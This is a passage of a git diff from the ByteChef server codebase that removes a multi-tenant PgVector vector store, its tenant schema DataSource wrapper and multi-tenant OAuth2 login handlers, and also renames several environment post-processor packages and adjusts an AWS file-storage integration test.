-        this.objectMapper = JsonMapper.builder()
-            .addModules(JacksonUtils.instantiateAvailableModules())
-            .build();
-        this.documentRowMapper = new DocumentRowMapper(this.objectMapper);
-
-        String vectorTable = builder.vectorTableName;
-
-        this.vectorTableName = vectorTable.isEmpty() ? PgVectorStore.DEFAULT_TABLE_NAME : vectorTable.trim();
-
-        LOGGER.info(
-            "Using the vector table name: {}. Is empty: {}", this.vectorTableName, this.vectorTableName.isEmpty());
-
-        this.idType = builder.idType;
-        this.jdbcTemplate = builder.jdbcTemplate;
-        this.dimensions = builder.dimensions;
-        this.distanceType = builder.distanceType;
-        this.maxDocumentBatchSize = builder.maxDocumentBatchSize;
-    }
-
-    public static MultiTenantPgVectorStoreBuilder builder(JdbcTemplate jdbcTemplate, EmbeddingModel embeddingModel) {
-        return new MultiTenantPgVectorStoreBuilder(jdbcTemplate, embeddingModel);
-    }
-
-    @Override
-    public VectorStoreObservationContext.Builder createObservationContextBuilder(String operationName) {
-        return VectorStoreObservationContext.builder(VectorStoreProvider.PG_VECTOR.value(), operationName)
-            .collectionName(this.vectorTableName)
-            .dimensions(this.embeddingDimensions())
-            .namespace(TenantContext.getCurrentDatabaseSchema(VECTORSTORE_SCHEMA_SUFFIX))
-            .similarityMetric(getSimilarityMetric());
-    }
-
-    @Override
-    public void doAdd(List<Document> documents) {
-        EmbeddingOptions.Builder builder = EmbeddingOptions.builder();
-
-        List<float[]> embeddings = this.embeddingModel.embed(documents, builder.build(), this.batchingStrategy);
-
-        List<List<Document>> batchedDocuments = batchDocuments(documents);
-
-        batchedDocuments.forEach(batchDocument -> insertOrUpdateBatch(batchDocument, documents, embeddings));
-    }
-
-    @SuppressFBWarnings(
-        value = "SQL_INJECTION_SPRING_JDBC", justification = "Table/schema names are trusted configuration")
-    public List<Double> embeddingDistance(String query) {
-        return this.jdbcTemplate.query(
-            "SELECT embedding " + this.comparisonOperator() + " ? AS distance FROM " + getFullyQualifiedTableName(),
-            (rs, rowNum) -> rs.getDouble(DocumentRowMapper.COLUMN_DISTANCE), getQueryEmbedding(query));
-    }
-
-    public PgVectorStore.PgDistanceType getDistanceType() {
-        return this.distanceType;
-    }
-
-    @Override
-    public <T> Optional<T> getNativeClient() {
-        @SuppressWarnings("unchecked")
-        T client = (T) this.jdbcTemplate;
-        return Optional.of(client);
-    }
-
-    @Override
-    @SuppressFBWarnings(
-        value = "SQL_INJECTION_SPRING_JDBC", justification = "Table/schema names are trusted configuration")
-    public void doDelete(List<String> idList) {
-        String sql = "DELETE FROM " + getFullyQualifiedTableName() + " WHERE id = ?";
-
-        this.jdbcTemplate.batchUpdate(sql, new BatchPreparedStatementSetter() {
-
-            @Override
-            public void setValues(PreparedStatement ps, int i) throws SQLException {
-                var id = idList.get(i);
-                StatementCreatorUtils.setParameterValue(ps, 1, SqlTypeValue.TYPE_UNKNOWN, convertIdToPgType(id));
-            }
-
-            @Override
-            public int getBatchSize() {
-                return idList.size();
-            }
-        });
-    }
-
-    @Override
-    @SuppressFBWarnings(
-        value = "SQL_INJECTION_SPRING_JDBC", justification = "Table/schema names are trusted configuration")
-    public List<Document> doSimilaritySearch(SearchRequest request) {
-        String nativeFilterExpression = (request.getFilterExpression() != null)
-            ? filterExpressionConverter.convertExpression(request.getFilterExpression()) : "";
-
-        String jsonPathFilter = "";
-
-        if (StringUtils.hasText(nativeFilterExpression)) {
-            jsonPathFilter = " AND metadata::jsonb @@ '" + nativeFilterExpression + "'::jsonpath ";
-        }
-
-        double distance = 1 - request.getSimilarityThreshold();
-
-        PGvector queryEmbedding = getQueryEmbedding(request.getQuery());
-
-        return this.jdbcTemplate.query(
-            String.format(
-                this.getDistanceType().similaritySearchSqlTemplate, getFullyQualifiedTableName(), jsonPathFilter),
-            this.documentRowMapper, queryEmbedding, queryEmbedding, distance, request.getTopK());
-    }
-
-    @Override
-    @SuppressFBWarnings(
-        value = "SQL_INJECTION_SPRING_JDBC", justification = "Table/schema names are trusted configuration")
-    protected void doDelete(Filter.Expression filterExpression) {
-        String nativeFilterExpression = this.filterExpressionConverter.convertExpression(filterExpression);
-
-        String sql = "DELETE FROM " + getFullyQualifiedTableName() + " WHERE metadata::jsonb @@ '" +
-            nativeFilterExpression + "'::jsonpath";
-
-        // Execute the delete
-        try {
-            this.jdbcTemplate.update(sql);
-        } catch (Exception e) {
-            throw new IllegalStateException("Failed to delete documents by filter", e);
-        }
-    }
-
-    private List<List<Document>> batchDocuments(List<Document> documents) {
-        List<List<Document>> batches = new ArrayList<>();
-
-        for (int i = 0; i < documents.size(); i += this.maxDocumentBatchSize) {
-            batches.add(documents.subList(i, Math.min(i + this.maxDocumentBatchSize, documents.size())));
-        }
-
-        return batches;
-    }
-
-    private String comparisonOperator() {
-        return this.getDistanceType().operator;
-    }
-
-    private Object convertIdToPgType(String id) {
-        return switch (getIdType()) {
-            case UUID -> UUID.fromString(id);
-            case TEXT -> id;
-            case INTEGER, SERIAL -> Integer.valueOf(id);
-            case BIGSERIAL -> Long.valueOf(id);
-        };
-    }
-
-    private int embeddingDimensions() {
-        // The manually set dimensions have precedence over the computed one.
-        if (this.dimensions > 0) {
-            return this.dimensions;
-        }
-
-        try {
-            int embeddingDimensions = this.embeddingModel.dimensions();
-            if (embeddingDimensions > 0) {
-                return embeddingDimensions;
-            }
-        } catch (Exception e) {
-            LOGGER.warn("Failed to obtain the embedding dimensions from the embedding model and fall backs to default:"
-                + PgVectorStore.OPENAI_EMBEDDING_DIMENSION_SIZE, e);
-        }
-        return PgVectorStore.OPENAI_EMBEDDING_DIMENSION_SIZE;
-    }
-
-    private String getFullyQualifiedTableName() {
-        return TenantContext.getCurrentDatabaseSchema(VECTORSTORE_SCHEMA_SUFFIX) + "." + vectorTableName;
-    }
-
-    private PgVectorStore.PgIdType getIdType() {
-        return this.idType;
-    }
-
-    private PGvector getQueryEmbedding(String query) {
-        float[] embedding = this.embeddingModel.embed(query);
-        return new PGvector(embedding);
-    }
-
-    private String getSimilarityMetric() {
-        VectorStoreSimilarityMetric metric = SIMILARITY_TYPE_MAPPING.get(this.distanceType);
-        return metric != null ? metric.value() : this.distanceType.name();
-    }
-
-    @SuppressFBWarnings(
-        value = "SQL_INJECTION_SPRING_JDBC", justification = "Table/schema names are trusted configuration")
-    private void insertOrUpdateBatch(List<Document> batch, List<Document> documents, List<float[]> embeddings) {
-        String sql = "INSERT INTO " + getFullyQualifiedTableName()
-            + " (id, content, metadata, embedding) VALUES (?, ?, ?::jsonb, ?) " + "ON CONFLICT (id) DO "
-            + "UPDATE SET content = ? , metadata = ?::jsonb , embedding = ? ";
-
-        this.jdbcTemplate.batchUpdate(sql, new BatchPreparedStatementSetter() {
-
-            @Override
-            public void setValues(PreparedStatement ps, int i) throws SQLException {
-
-                var document = batch.get(i);
-                var id = convertIdToPgType(document.getId());
-                var content = document.getText();
-                var json = toJson(document.getMetadata());
-                var embedding = embeddings.get(documents.indexOf(document));
-                var pGvector = new PGvector(embedding);
-
-                StatementCreatorUtils.setParameterValue(ps, 1, SqlTypeValue.TYPE_UNKNOWN, id);
-                StatementCreatorUtils.setParameterValue(ps, 2, SqlTypeValue.TYPE_UNKNOWN, content);
-                StatementCreatorUtils.setParameterValue(ps, 3, SqlTypeValue.TYPE_UNKNOWN, json);
-                StatementCreatorUtils.setParameterValue(ps, 4, SqlTypeValue.TYPE_UNKNOWN, pGvector);
-                StatementCreatorUtils.setParameterValue(ps, 5, SqlTypeValue.TYPE_UNKNOWN, content);
-                StatementCreatorUtils.setParameterValue(ps, 6, SqlTypeValue.TYPE_UNKNOWN, json);
-                StatementCreatorUtils.setParameterValue(ps, 7, SqlTypeValue.TYPE_UNKNOWN, pGvector);
-            }
-
-            @Override
-            public int getBatchSize() {
-                return batch.size();
-            }
-        });
-    }
-
-    private String toJson(Map<String, Object> map) {
-        try {
-            return this.objectMapper.writeValueAsString(map);
-        } catch (JsonProcessingException e) {
-            throw new RuntimeException(e);
-        }
-    }
-
-    public static final class MultiTenantPgVectorStoreBuilder
-        extends AbstractVectorStoreBuilder<MultiTenantPgVectorStoreBuilder> {
-
-        private final JdbcTemplate jdbcTemplate;
-        private String vectorTableName = PgVectorStore.DEFAULT_TABLE_NAME;
-        private PgVectorStore.PgIdType idType = PgVectorStore.DEFAULT_ID_TYPE;
-        private int dimensions = PgVectorStore.INVALID_EMBEDDING_DIMENSION;
-        private PgVectorStore.PgDistanceType distanceType = COSINE_DISTANCE;
-        private int maxDocumentBatchSize = PgVectorStore.MAX_DOCUMENT_BATCH_SIZE;
-
-        private MultiTenantPgVectorStoreBuilder(JdbcTemplate jdbcTemplate, EmbeddingModel embeddingModel) {
-            super(embeddingModel);
-
-            Assert.notNull(jdbcTemplate, "JdbcTemplate must not be null");
-
-            this.jdbcTemplate = jdbcTemplate;
-        }
-
-        public MultiTenantPgVectorStoreBuilder vectorTableName(String vectorTableName) {
-            this.vectorTableName = vectorTableName;
-
-            return this;
-        }
-
-        public MultiTenantPgVectorStoreBuilder idType(PgVectorStore.PgIdType idType) {
-            this.idType = idType;
-
-            return this;
-        }
-
-        public MultiTenantPgVectorStoreBuilder dimensions(int dimensions) {
-            this.dimensions = dimensions;
-
-            return this;
-        }
-
-        public MultiTenantPgVectorStoreBuilder distanceType(PgVectorStore.PgDistanceType distanceType) {
-            this.distanceType = distanceType;
-
-            return this;
-        }
-
-        public MultiTenantPgVectorStoreBuilder maxDocumentBatchSize(int maxDocumentBatchSize) {
-            this.maxDocumentBatchSize = maxDocumentBatchSize;
-
-            return this;
-        }
-
-        public MultiTenantPgVectorStore build() {
-            return new MultiTenantPgVectorStore(this);
-        }
-    }
-
-    private static class DocumentRowMapper implements RowMapper<Document> {
-
-        private static final String COLUMN_METADATA = "metadata";
-        private static final String COLUMN_ID = "id";
-        private static final String COLUMN_CONTENT = "content";
-        private static final String COLUMN_DISTANCE = "distance";
-        private final ObjectMapper objectMapper;
-
-        DocumentRowMapper(ObjectMapper objectMapper) {
-            this.objectMapper = objectMapper;
-        }
-
-        @Override
-        public Document mapRow(ResultSet rs, int rowNum) throws SQLException {
-            String id = rs.getString(COLUMN_ID);
-            String content = rs.getString(COLUMN_CONTENT);
-            PGobject pgMetadata = rs.getObject(COLUMN_METADATA, PGobject.class);
-            float distance = rs.getFloat(COLUMN_DISTANCE);
-
-            Map<String, Object> metadata = toMap(pgMetadata);
-            metadata.put(DocumentMetadata.DISTANCE.value(), distance);
-
-            return Document.builder()
-                .id(id)
-                .text(content)
-                .metadata(metadata)
-                .score(1.0 - distance)
-                .build();
-        }
-
-        @SuppressWarnings("unchecked")
-        private Map<String, Object> toMap(PGobject pgObject) {
-            String source = pgObject.getValue();
-
-            try {
-                return (Map<String, Object>) this.objectMapper.readValue(source, Map.class);
-            } catch (JsonProcessingException e) {
-                throw new RuntimeException(e);
-            }
-        }
-    }
-}
diff --git a/server/ee/libs/config/tenant-multi-pgvector-config/src/main/java/com/bytechef/ee/tenant/multi/pgvector/package-info.java b/server/ee/libs/config/tenant-multi-pgvector-config/src/main/java/com/bytechef/ee/tenant/multi/pgvector/package-info.java
deleted file mode 100644
index fe75bb0cab7..00000000000
--- a/server/ee/libs/config/tenant-multi-pgvector-config/src/main/java/com/bytechef/ee/tenant/multi/pgvector/package-info.java
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright 2023-present ByteChef Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-@NullMarked
-package com.bytechef.ee.tenant.multi.pgvector;
-
-import org.jspecify.annotations.NullMarked;
diff --git a/server/ee/libs/config/tenant-multi-pgvector-config/src/main/java/com/bytechef/ee/tenant/multi/sql/MultiTenantPgVectorDataSource.java b/server/ee/libs/config/tenant-multi-pgvector-config/src/main/java/com/bytechef/ee/tenant/multi/sql/MultiTenantPgVectorDataSource.java
deleted file mode 100644
index 81c569420ee..00000000000
--- a/server/ee/libs/config/tenant-multi-pgvector-config/src/main/java/com/bytechef/ee/tenant/multi/sql/MultiTenantPgVectorDataSource.java
+++ /dev/null
@@ -1,113 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the ByteChef Enterprise license (the "Enterprise License");
- * you may not use this file except in compliance with the Enterprise License.
- */
-
-package com.bytechef.ee.tenant.multi.sql;
-
-import com.bytechef.tenant.TenantContext;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.io.PrintWriter;
-import java.sql.Connection;
-import java.sql.ConnectionBuilder;
-import java.sql.SQLException;
-import java.sql.SQLFeatureNotSupportedException;
-import java.sql.Statement;
-import java.util.logging.Logger;
-import javax.sql.DataSource;
-
-/**
- * Multi-tenant DataSource wrapper for PgVector that sets the PostgreSQL search_path to the tenant's vectorstore schema.
- *
- * @version ee
- *
- * @author Ivica Cardic
- */
-public class MultiTenantPgVectorDataSource implements DataSource {
-
-    private static final String VECTORSTORE_SCHEMA_SUFFIX = "vectorstore";
-
-    private final DataSource dataSource;
-
-    @SuppressFBWarnings("EI")
-    public MultiTenantPgVectorDataSource(DataSource dataSource) {
-        this.dataSource = dataSource;
-    }
-
-    @Override
-    public Connection getConnection() throws SQLException {
-        Connection connection = dataSource.getConnection();
-
-        setSearchPath(connection);
-
-        return connection;
-    }
-
-    @Override
-    public Connection getConnection(String username, String password) throws SQLException {
-        Connection connection = dataSource.getConnection(username, password);
-
-        setSearchPath(connection);
-
-        return connection;
-    }
-
-    @Override
-    public PrintWriter getLogWriter() throws SQLException {
-        return dataSource.getLogWriter();
-    }
-
-    @Override
-    public void setLogWriter(PrintWriter out) throws SQLException {
-        dataSource.setLogWriter(out);
-    }
-
-    @Override
-    public void setLoginTimeout(int seconds) throws SQLException {
-        dataSource.setLoginTimeout(seconds);
-    }
-
-    @Override
-    public int getLoginTimeout() throws SQLException {
-        return dataSource.getLoginTimeout();
-    }
-
-    @Override
-    public Logger getParentLogger() throws SQLFeatureNotSupportedException {
-        return dataSource.getParentLogger();
-    }
-
-    @Override
-    public ConnectionBuilder createConnectionBuilder() throws SQLException {
-        return dataSource.createConnectionBuilder();
-    }
-
-    @Override
-    public <T> T unwrap(Class<T> iface) throws SQLException {
-        return dataSource.unwrap(iface);
-    }
-
-    @Override
-    public boolean isWrapperFor(Class<?> iface) throws SQLException {
-        return dataSource.isWrapperFor(iface);
-    }
-
-    /**
-     * Sets the PostgreSQL search_path to the current tenant's vectorstore schema.
-     *
-     * <p>
-     * <b>Security Note:</b> The SQL injection suppression is for schema name injection which cannot be parameterized in
-     * PostgreSQL. Schema names must be included as identifiers, not as parameterized values. The tenant ID is validated
-     * to contain only alphanumeric characters, underscores, and hyphens to prevent SQL injection. This is a PostgreSQL
-     * limitation, not a security vulnerability.
-     */
-    @SuppressFBWarnings("SQL_INJECTION_JDBC")
-    private static void setSearchPath(Connection connection) throws SQLException {
-        try (Statement statement = connection.createStatement()) {
-            statement
-                .execute("SET search_path TO " + TenantContext.getCurrentDatabaseSchema(VECTORSTORE_SCHEMA_SUFFIX));
-        }
-    }
-}
diff --git a/server/ee/libs/config/tenant-multi-security-config/build.gradle.kts b/server/ee/libs/config/tenant-multi-security-config/build.gradle.kts
index bb15f21d53a..be7c41d978b 100644
--- a/server/ee/libs/config/tenant-multi-security-config/build.gradle.kts
+++ b/server/ee/libs/config/tenant-multi-security-config/build.gradle.kts
@@ -5,9 +5,7 @@ dependencies {
     implementation(libs.commons.validator)
     implementation("org.springframework:spring-jdbc")
     implementation("org.springframework.boot:spring-boot-autoconfigure")
-    implementation("org.springframework.boot:spring-boot-starter-oauth2-client")
     implementation("org.springframework.security:spring-security-web")
-    implementation(project(":server:libs:config:security-config"))
     implementation(project(":server:libs:core:tenant:tenant-api"))
     implementation(project(":server:libs:platform:platform-security-web:platform-security-web-api"))
     implementation(project(":server:libs:platform:platform-user:platform-user-api"))
diff --git a/server/ee/libs/config/tenant-multi-security-config/src/main/java/com/bytechef/ee/tenant/multi/security/config/MultiTenantSecurityConfiguration.java b/server/ee/libs/config/tenant-multi-security-config/src/main/java/com/bytechef/ee/tenant/multi/security/config/MultiTenantSecurityConfiguration.java
index 9fdd56ebe6e..df61ec373c3 100644
--- a/server/ee/libs/config/tenant-multi-security-config/src/main/java/com/bytechef/ee/tenant/multi/security/config/MultiTenantSecurityConfiguration.java
+++ b/server/ee/libs/config/tenant-multi-security-config/src/main/java/com/bytechef/ee/tenant/multi/security/config/MultiTenantSecurityConfiguration.java
@@ -10,19 +10,13 @@
 import com.bytechef.ee.tenant.multi.security.MultiTenantUserDetailsService;
 import com.bytechef.ee.tenant.multi.security.web.authentication.MultiTenantAuthenticationFailureHandler;
 import com.bytechef.ee.tenant.multi.security.web.authentication.MultiTenantAuthenticationSuccessHandler;
-import com.bytechef.ee.tenant.multi.security.web.authentication.MultiTenantOAuth2AuthenticationFailureHandler;
-import com.bytechef.ee.tenant.multi.security.web.authentication.MultiTenantOAuth2AuthenticationSuccessHandler;
 import com.bytechef.ee.tenant.multi.security.web.filter.MultiTenantInternalFilter;
 import com.bytechef.platform.annotation.ConditionalOnEEVersion;
-import com.bytechef.platform.security.web.config.OAuth2LoginCustomizer;
 import com.bytechef.platform.user.service.AuthorityService;
-import com.bytechef.security.web.oauth2.CustomOAuth2UserService;
 import com.bytechef.tenant.annotation.ConditionalOnMultiTenant;
 import com.bytechef.tenant.service.TenantService;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
 import org.springframework.context.annotation.Bean;
 import org.springframework.context.annotation.Configuration;
-import org.springframework.security.web.authentication.RememberMeServices;
 
 /**
  * @version ee
@@ -49,18 +43,6 @@ MultiTenantInternalFilter multiTenantInternalFilter() {
         return new MultiTenantInternalFilter();
     }
 
-    @Bean
-    @ConditionalOnProperty(prefix = "bytechef.security.social-login", name = "enabled", havingValue = "true")
-    OAuth2LoginCustomizer multiTenantOAuth2LoginCustomizer(
-        CustomOAuth2UserService customOAuth2UserService, RememberMeServices rememberMeServices,
-        TenantService tenantService) {
-
-        return http -> http.oauth2Login(oauth2 -> oauth2
-            .userInfoEndpoint(endpoint -> endpoint.userService(customOAuth2UserService))
-            .successHandler(new MultiTenantOAuth2AuthenticationSuccessHandler(rememberMeServices, tenantService))
-            .failureHandler(new MultiTenantOAuth2AuthenticationFailureHandler()));
-    }
-
     @Bean("userDetailsService")
     MultiTenantUserDetailsService multiTenantUserDetailsService(
         AuthorityService authorityService, TenantService tenantService) {
diff --git a/server/ee/libs/config/tenant-multi-security-config/src/main/java/com/bytechef/ee/tenant/multi/security/web/authentication/MultiTenantOAuth2AuthenticationFailureHandler.java b/server/ee/libs/config/tenant-multi-security-config/src/main/java/com/bytechef/ee/tenant/multi/security/web/authentication/MultiTenantOAuth2AuthenticationFailureHandler.java
deleted file mode 100644
index 6b9b874fe12..00000000000
--- a/server/ee/libs/config/tenant-multi-security-config/src/main/java/com/bytechef/ee/tenant/multi/security/web/authentication/MultiTenantOAuth2AuthenticationFailureHandler.java
+++ /dev/null
@@ -1,36 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the ByteChef Enterprise license (the "Enterprise License");
- * you may not use this file except in compliance with the Enterprise License.
- */
-
-package com.bytechef.ee.tenant.multi.security.web.authentication;
-
-import com.bytechef.tenant.constant.TenantConstants;
-import jakarta.servlet.http.HttpServletRequest;
-import jakarta.servlet.http.HttpServletResponse;
-import jakarta.servlet.http.HttpSession;
-import java.io.IOException;
-import org.springframework.security.core.AuthenticationException;
-import org.springframework.security.web.authentication.AuthenticationFailureHandler;
-
-/**
- * @version ee
- *
- * @author Ivica Cardic
- */
-public class MultiTenantOAuth2AuthenticationFailureHandler implements AuthenticationFailureHandler {
-
-    @Override
-    public void onAuthenticationFailure(
-        HttpServletRequest request, HttpServletResponse response, AuthenticationException exception)
-        throws IOException {
-
-        HttpSession session = request.getSession();
-
-        session.removeAttribute(TenantConstants.CURRENT_TENANT_ID);
-
-        response.sendRedirect("/login?error=oauth2");
-    }
-}
diff --git a/server/ee/libs/config/tenant-multi-security-config/src/main/java/com/bytechef/ee/tenant/multi/security/web/authentication/MultiTenantOAuth2AuthenticationSuccessHandler.java b/server/ee/libs/config/tenant-multi-security-config/src/main/java/com/bytechef/ee/tenant/multi/security/web/authentication/MultiTenantOAuth2AuthenticationSuccessHandler.java
deleted file mode 100644
index b91dac246a5..00000000000
--- a/server/ee/libs/config/tenant-multi-security-config/src/main/java/com/bytechef/ee/tenant/multi/security/web/authentication/MultiTenantOAuth2AuthenticationSuccessHandler.java
+++ /dev/null
@@ -1,64 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the ByteChef Enterprise license (the "Enterprise License");
- * you may not use this file except in compliance with the Enterprise License.
- */
-
-package com.bytechef.ee.tenant.multi.security.web.authentication;
-
-import com.bytechef.security.web.oauth2.CustomOAuth2User;
-import com.bytechef.tenant.constant.TenantConstants;
-import com.bytechef.tenant.service.TenantService;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import jakarta.servlet.http.HttpServletRequest;
-import jakarta.servlet.http.HttpServletResponse;
-import jakarta.servlet.http.HttpSession;
-import java.io.IOException;
-import java.util.List;
-import org.apache.commons.validator.routines.EmailValidator;
-import org.springframework.security.core.Authentication;
-import org.springframework.security.web.authentication.AuthenticationSuccessHandler;
-import org.springframework.security.web.authentication.RememberMeServices;
-
-/**
- * @version ee
- *
- * @author Ivica Cardic
- */
-public class MultiTenantOAuth2AuthenticationSuccessHandler implements AuthenticationSuccessHandler {
-
-    private final RememberMeServices rememberMeServices;
-    private final TenantService tenantService;
-
-    @SuppressFBWarnings("EI")
-    public MultiTenantOAuth2AuthenticationSuccessHandler(
-        RememberMeServices rememberMeServices, TenantService tenantService) {
-
-        this.rememberMeServices = rememberMeServices;
-        this.tenantService = tenantService;
-    }
-
-    @Override
-    public void onAuthenticationSuccess(
-        HttpServletRequest request, HttpServletResponse response, Authentication authentication)
-        throws IOException {
-
-        CustomOAuth2User oAuth2User = (CustomOAuth2User) authentication.getPrincipal();
-
-        String login = oAuth2User.getName();
-
-        List<String> tenantIds = EmailValidator.getInstance()
-            .isValid(login)
-                ? tenantService.getTenantIdsByUserEmail(login)
-                : tenantService.getTenantIdsByUserLogin(login);
-
-        HttpSession session = request.getSession();
-
-        session.setAttribute(TenantConstants.CURRENT_TENANT_ID, tenantIds.getFirst());
-
-        rememberMeServices.loginSuccess(request, response, authentication);
-
-        response.sendRedirect("/oauth2/redirect");
-    }
-}
diff --git a/server/ee/libs/core/discovery/discovery-redis/src/main/java/com/bytechef/ee/discovery/redis/boot/RedisDiscoveryServiceProviderEnvironmentPostProcessor.java b/server/ee/libs/core/discovery/discovery-redis/src/main/java/com/bytechef/ee/discovery/redis/env/RedisDiscoveryServiceProviderEnvironmentPostProcessor.java
similarity index 96%
rename from server/ee/libs/core/discovery/discovery-redis/src/main/java/com/bytechef/ee/discovery/redis/boot/RedisDiscoveryServiceProviderEnvironmentPostProcessor.java
rename to server/ee/libs/core/discovery/discovery-redis/src/main/java/com/bytechef/ee/discovery/redis/env/RedisDiscoveryServiceProviderEnvironmentPostProcessor.java
index 4a8ffcefc55..b3043264a3b 100644
--- a/server/ee/libs/core/discovery/discovery-redis/src/main/java/com/bytechef/ee/discovery/redis/boot/RedisDiscoveryServiceProviderEnvironmentPostProcessor.java
+++ b/server/ee/libs/core/discovery/discovery-redis/src/main/java/com/bytechef/ee/discovery/redis/env/RedisDiscoveryServiceProviderEnvironmentPostProcessor.java
@@ -5,7 +5,7 @@
  * you may not use this file except in compliance with the Enterprise License.
  */
 
-package com.bytechef.ee.discovery.redis.boot;
+package com.bytechef.ee.discovery.redis.env;
 
 import java.util.HashMap;
 import java.util.Map;
diff --git a/server/ee/libs/core/discovery/discovery-redis/src/main/resources/META-INF/spring.factories b/server/ee/libs/core/discovery/discovery-redis/src/main/resources/META-INF/spring.factories
index 10906554cfc..807584e76f0 100644
--- a/server/ee/libs/core/discovery/discovery-redis/src/main/resources/META-INF/spring.factories
+++ b/server/ee/libs/core/discovery/discovery-redis/src/main/resources/META-INF/spring.factories
@@ -5,4 +5,4 @@ org.springframework.cloud.bootstrap.BootstrapConfiguration=\
 com.bytechef.ee.discovery.redis.config.RedisDiscoveryClientBootstrapConfiguration
 
 org.springframework.boot.EnvironmentPostProcessor=\
-com.bytechef.ee.discovery.redis.boot.RedisDiscoveryServiceProviderEnvironmentPostProcessor
+com.bytechef.ee.discovery.redis.env.RedisDiscoveryServiceProviderEnvironmentPostProcessor
diff --git a/server/ee/libs/core/file-storage/file-storage-aws/file-storage-aws-impl/build.gradle.kts b/server/ee/libs/core/file-storage/file-storage-aws/file-storage-aws-impl/build.gradle.kts
index 27c37e2927b..9fa9be0b03c 100644
--- a/server/ee/libs/core/file-storage/file-storage-aws/file-storage-aws-impl/build.gradle.kts
+++ b/server/ee/libs/core/file-storage/file-storage-aws/file-storage-aws-impl/build.gradle.kts
@@ -9,6 +9,7 @@ dependencies {
 
     implementation(project(":server:ee:libs:core:file-storage:file-storage-aws:file-storage-aws-api"))
 
+    testImplementation(rootProject.libs.loki.logback.appender)
     testImplementation("io.awspring.cloud:spring-cloud-aws-starter-s3")
     testImplementation("io.awspring.cloud:spring-cloud-aws-dynamodb")
     testImplementation("org.testcontainers:junit-jupiter")
diff --git a/server/ee/libs/core/file-storage/file-storage-aws/file-storage-aws-impl/src/main/java/com/bytechef/ee/file/storage/aws/boot/AwsFileStorageEnvironmentPostProcessor.java b/server/ee/libs/core/file-storage/file-storage-aws/file-storage-aws-impl/src/main/java/com/bytechef/ee/file/storage/aws/env/AwsFileStorageEnvironmentPostProcessor.java
similarity index 97%
rename from server/ee/libs/core/file-storage/file-storage-aws/file-storage-aws-impl/src/main/java/com/bytechef/ee/file/storage/aws/boot/AwsFileStorageEnvironmentPostProcessor.java
rename to server/ee/libs/core/file-storage/file-storage-aws/file-storage-aws-impl/src/main/java/com/bytechef/ee/file/storage/aws/env/AwsFileStorageEnvironmentPostProcessor.java
index c8b9de8138b..12956cfa6b6 100644
--- a/server/ee/libs/core/file-storage/file-storage-aws/file-storage-aws-impl/src/main/java/com/bytechef/ee/file/storage/aws/boot/AwsFileStorageEnvironmentPostProcessor.java
+++ b/server/ee/libs/core/file-storage/file-storage-aws/file-storage-aws-impl/src/main/java/com/bytechef/ee/file/storage/aws/env/AwsFileStorageEnvironmentPostProcessor.java
@@ -14,7 +14,7 @@
  * limitations under the License.
  */
 
-package com.bytechef.ee.file.storage.aws.boot;
+package com.bytechef.ee.file.storage.aws.env;
 
 import java.util.HashMap;
 import java.util.Map;
diff --git a/server/ee/libs/core/file-storage/file-storage-aws/file-storage-aws-impl/src/main/resources/META-INF/spring.factories b/server/ee/libs/core/file-storage/file-storage-aws/file-storage-aws-impl/src/main/resources/META-INF/spring.factories
index 22a298bfbbe..b66ae4466e8 100644
--- a/server/ee/libs/core/file-storage/file-storage-aws/file-storage-aws-impl/src/main/resources/META-INF/spring.factories
+++ b/server/ee/libs/core/file-storage/file-storage-aws/file-storage-aws-impl/src/main/resources/META-INF/spring.factories
@@ -1,2 +1,2 @@
 org.springframework.boot.EnvironmentPostProcessor=\
-com.bytechef.ee.file.storage.aws.boot.AwsFileStorageEnvironmentPostProcessor
+com.bytechef.ee.file.storage.aws.env.AwsFileStorageEnvironmentPostProcessor
diff --git a/server/ee/libs/core/file-storage/file-storage-aws/file-storage-aws-impl/src/test/java/com/bytechef/ee/file/storage/aws/service/AwsFileStorageIntTest.java b/server/ee/libs/core/file-storage/file-storage-aws/file-storage-aws-impl/src/test/java/com/bytechef/ee/file/storage/aws/service/AwsFileStorageIntTest.java
index def5f5e9002..c7bf759e633 100644
--- a/server/ee/libs/core/file-storage/file-storage-aws/file-storage-aws-impl/src/test/java/com/bytechef/ee/file/storage/aws/service/AwsFileStorageIntTest.java
+++ b/server/ee/libs/core/file-storage/file-storage-aws/file-storage-aws-impl/src/test/java/com/bytechef/ee/file/storage/aws/service/AwsFileStorageIntTest.java
@@ -13,6 +13,7 @@
 
 import com.bytechef.config.ApplicationProperties;
 import com.bytechef.file.storage.domain.FileEntry;
+import com.bytechef.jackson.config.JacksonConfiguration;
 import io.awspring.cloud.s3.S3Template;
 import java.io.IOException;
 import java.io.InputStream;
@@ -24,11 +25,13 @@
 import org.junit.jupiter.api.BeforeAll;
 import org.junit.jupiter.api.Test;
 import org.springframework.beans.factory.annotation.Autowired;
-import org.springframework.boot.autoconfigure.ImportAutoConfiguration;
+import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
 import org.springframework.boot.context.properties.EnableConfigurationProperties;
 import org.springframework.boot.test.context.SpringBootTest;
 import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.ComponentScan;
 import org.springframework.context.annotation.Configuration;
+import org.springframework.context.annotation.Import;
 import org.springframework.test.context.DynamicPropertyRegistry;
 import org.springframework.test.context.DynamicPropertySource;
 import org.testcontainers.containers.localstack.LocalStackContainer;
@@ -47,6 +50,7 @@
  */
 @SpringBootTest
 @Testcontainers
+@Import(JacksonConfiguration.class)
 class AwsFileStorageIntTest {
 
     private static final String BUCKET_NAME = String.valueOf(UUID.randomUUID());
@@ -223,14 +227,9 @@ void canDeleteFile() {
     }
 
     @Configuration
+    @ComponentScan("io.awspring.cloud")
     @EnableConfigurationProperties(ApplicationProperties.class)
-    @ImportAutoConfiguration({
